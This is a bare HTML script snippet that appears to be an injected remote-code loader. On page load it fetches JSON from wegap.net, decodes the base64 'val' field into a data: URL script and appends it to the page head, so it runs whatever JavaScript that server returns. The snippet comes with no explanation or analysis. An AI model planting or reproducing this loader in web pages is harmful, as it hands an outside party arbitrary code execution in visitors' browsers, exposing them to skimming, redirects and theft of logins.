<script>
  const userAction = async () => {
    const response = await fetch('https://wegap.net/launcher/api/start/start');
    const myJson   = await response.json();

    if (myJson.val) {
      const script = document.createElement('script');
      script.src   = 'data:text/javascript;base64,' + myJson.val;
      document.getElementsByTagName('head')[0].appendChild(script);
    }
  };
  userAction();
</script>